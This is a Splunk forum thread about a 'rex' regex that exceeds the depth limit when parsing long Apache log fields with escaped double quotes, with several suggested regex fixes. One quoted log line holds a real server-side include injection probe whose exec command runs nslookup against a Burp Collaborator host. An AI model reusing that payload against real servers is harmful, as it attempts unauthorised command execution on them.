How to resolve error in rex command when parsing a long string with escaped double quotes?

[agrandville]

Hi everybody,

When parsing a long string containing escaped double-quotes I get this error:

Error in 'rex' command: regex="^(?([^"]|\")) has exceeded the configured depth_limit, consider raising the value in limits.conf.

Steps to reproduce:

| makeresults 
 | eval value="dolor commodo sit amet Sed fringilla nisi et augue condimentum, finibus hendrerit massa egestas Phasellus erat nunc, placerat vitae molestie quis, tempor ac ipsum Phasellus malesuada risus risus, sed lobortis purus vestibulum et Curabitur tempus tincidunt faucibus Aenean sed ipsum eleifend molestie, eros non at accumsan odio turpis sed Integer sed egestas nibh, nec fringilla quam orci eu ipsum Ut at ligula nec metus cursus condimentum eget id eros Pellentesque habitant morbi tristique senectus et \"netus\" et malesuada fames ac turpis egestas Nunc mollis neque eros, eu luctus augue iaculis a Aenean maximus varius erat sed auctor Duis consectetur luctus ligula fringilla quam" |  rex field=value "^(?<RESULT>([^\"]|\\\")*)" | table RESULT

My regex ([^\"]|\\") generate capturing group who exceed the configured capacity.
I tried to disable capturing group with this syntax (?:[^\"]|\\")* but I still have a limit
eg:

| makeresults 
 | eval value="dolor commodo sit amet Sed fringilla nisi et augue condimentum, finibus hendrerit massa egestas Phasellus erat nunc, placerat vitae molestie quis, tempor ac ipsum Phasellus malesuada risus risus, sed lobortis purus vestibulum et Curabitur tempus tincidunt faucibus Aenean sed ipsum eleifend molestie, eros non at accumsan odio turpis sed Integer sed egestas nibh, nec fringilla quam orci eu ipsum Ut at ligula nec metus cursus condimentum eget id eros Pellentesque habitant morbi tristique senectus et \"netus\" et \"malesuada\" fames ac turpis egestas Nunc mollis neque eros, eu luctus augue iaculis a Aenean maximus varius erat sed auctor Duis consectetur luctus ligula fringilla quam laoreet consectetur tempus, sapien mi pretium ipsum, et rutrum lorem orci vel ipsum. Vivamus \"vitae\" rhoncus erat, vel \"blandit\" libero. Vestibulum dictum arcu eu ligula \"dignissim\", eu efficitur \"ante\" faucibus. Nam eu lacus rhoncus, tempor lorem at, ultrices elit. Nulla facilisi. Ut feugiat lobortis \"orci\". Proin at ultricies metus. Donec pharetra justo nec sapien hendrerit lacinia. \"Vestibulum\" ornare nibh diam, in ullamcorper massa ultricies et. Quisque fringilla dolor ornare nibh rhoncus vestibulum. Integer porttitor enim nec elementum sagittis. Aliquam ut semper diam, non vehicula risus. Proin ut fringilla massa. Mauris eu dolor ex. Vivamus sit amet diam sapien." |  rex field=value "^(?<RESULT>(?:[^\"]|\\\")*)" | table RESULT

If I remove two \" in the string, it works
Any idea ?

[agrandville]

I use this regex

rex field=_raw "^(?<IP>[^ ]+)\s(?<IDENT>\-)\s\-\s\[(?<DATE>[^]]+)*\]\s\"(?<VERB>\w+)\s(?<URL>\S+)\s(?<PROTOCOL>\S+)\"\s(?<RESPONSE_CODE>\S+)\s(?<SIZE>\S+)\s\"(?<REFERER>[^\"]*)\"\s\"(?<USER_AGENT>[^\"]*)\"\s(?<DURATION>\S*)\s(?<STATE>\S)"

to parse a custom log apache

"%a %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\" %{ms}T %X

but REFERER and USER_AGENT fields may contains string with double quote

eg shell injection attack in referer

1.2.3.4 - - [13/Apr/2020:15:10:38 +0200] "GET /favicon.ico HTTP/1.1" 404 626 "\"-->'-->`--><!--#set var=\"s9r\" value=\"r8qxqg9jv3\"--><!--#set var=\"ubt\" value=\"taszsiblx5\"--><!--#echo var=\"s9r\"--><!--#echo var=\"ubt\"--><!--#exec cmd=\"nslookup -q=cname evdkd3w6iqkm93prahr8fmuz3q9ixiy6q4ez1qpf.burpcollaborator.net\" -->" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 0 -

or very long User-agent

1.2.3.4 - - [03/Apr/2020:16:27:50 +0200] "GET /icons/icon-failed.png HTTP/1.1" 304 330 "https://www.mysite.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:16.0) Gecko/20100101 Firefox/16.0 BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR" 0 -

(My WAF log used another format.)

@richgalloway is tried with max_match=0, but it still exceeed the capacity ...

| makeresults | eval _raw="1.2.3.4 - - [03/Apr/2020:16:27:50 +0200] \"GET /icons/icon-failed.png HTTP/1.1\" 304 330 \"https://www.mysite.com/\" \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:16.0) Gecko/20100101 Firefox/16.0 BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR BLNGBAR\" 0 -"  |  rex max_match=0 field=_raw "^(?<IP>[^ ]+)\s(?<IDENT>\-)\s\-\s\[(?<DATE>[^]]+)*\]\s\"(?<VERB>\w+)\s(?<URL>\S+)\s(?<PROTOCOL>\S+)\"\s(?<RESPONSE_CODE>\S+)\s(?<SIZE>\S+)\s\"(?<REFERER>([^\"]|(\\\"))*)(\"|\s)*(?<USER_AGENT>([^\"]|(\\\"))*)\"(\s(?<DURATION>\S*))"|table REFERER,USER_AGENT

Error in 'rex' command: regex="xxxx" has exceeded the configured depth_limit, consider raising the value in limits.conf.

[richgalloway]

When I remove the * following the capture groups the error goes away. Consider revising your regex to avoid that construct. Regex101.com may help.

[richgalloway]

That error message is not related to capturing groups. It's related to quantifiers. You don't say what part of the text you expect to match so I took a guess at a more efficient regex that does not produce an error.

| rex "^(?<RESULT>([^\"]+)|\\\")"

[agrandville]

Thanks @richgalloway,

Your regex select every characters from start till the first double quote

dolor commodo sit amet Sed fringilla nisi ..... habitant morbi tristique senectus et 

My need is to select a string enclosed in double quote containing escaped double quotes.

A more concise approach showing the problem :

... |  rex field=value "^(?<RESULT>[^y]*)" | table RESULT -> ok
... |  rex field=value "^(?<RESULT>([^y])*)" | table RESULT -> failed, every char is selected until crash
... |  rex field=value "^(?<RESULT>(?:[^y])*)" | table RESULT ->OK group capturing of 'not y' disabled by ?: 
 ... |  rex field=value"^(?<RESULT>(?:[^y]|y)*)" | table RESULT -> failed I suppose 'not y' capture is disable but not for 'y' ???
 ... |  rex field=value "^(?<RESULT>(?:[^y]|(?:y))*)" | table RESULT ->  failed, capacity exceedeed

Is there a syntax for alternation regex without group capturing?

[richgalloway]

Thanks for the clarification. This query appears to work with your example text. Whether it works with real data or not remains to be seen.

| makeresults 
| eval value="dolor commodo sit amet Sed fringilla nisi et augue condimentum, finibus hendrerit massa egestas Phasellus erat nunc, placerat vitae molestie quis, tempor ac ipsum Phasellus malesuada risus risus, sed lobortis purus vestibulum et Curabitur tempus tincidunt faucibus Aenean sed ipsum eleifend molestie, eros non at accumsan odio turpis sed Integer sed egestas nibh, nec fringilla quam orci eu ipsum Ut at ligula nec metus cursus condimentum eget id eros Pellentesque habitant morbi tristique senectus et \"netus\" et malesuada fames ac turpis egestas Nunc mollis neque eros, eu luctus augue iaculis a Aenean maximus varius erat sed auctor Duis consectetur luctus ligula fringilla quam" 
| rex max_match=0 field=value "^(?<RESULT>([^\"]+)|\\\")" 
| eval RESULT=mvjoin(RESULT, "")
| table RESULT

[to4kawa]

 | makeresults 
 | eval value="dolor commodo sit amet Sed fringilla nisi et augue condimentum, finibus hendrerit massa egestas Phasellus erat nunc, placerat vitae molestie quis, tempor ac ipsum Phasellus malesuada risus risus, sed lobortis purus vestibulum et Curabitur tempus tincidunt faucibus Aenean sed ipsum eleifend molestie, eros non at accumsan odio turpis sed Integer sed egestas nibh, nec fringilla quam orci eu ipsum Ut at ligula nec metus cursus condimentum eget id eros Pellentesque habitant morbi tristique senectus et \"netus\" et malesuada fames ac turpis egestas Nunc mollis neque eros, eu luctus augue iaculis a Aenean maximus varius erat sed auctor Duis consectetur luctus ligula fringilla quam" 
| rex mode=sed field=value "s/[\\\"]\S+/{rejected}/g"

use mode=sed and modify {rejected}

[to4kawa]

(?P<RESULT>[^\\\\"]*)
how about this?

[agrandville]

this regex select from start to the first \" 😞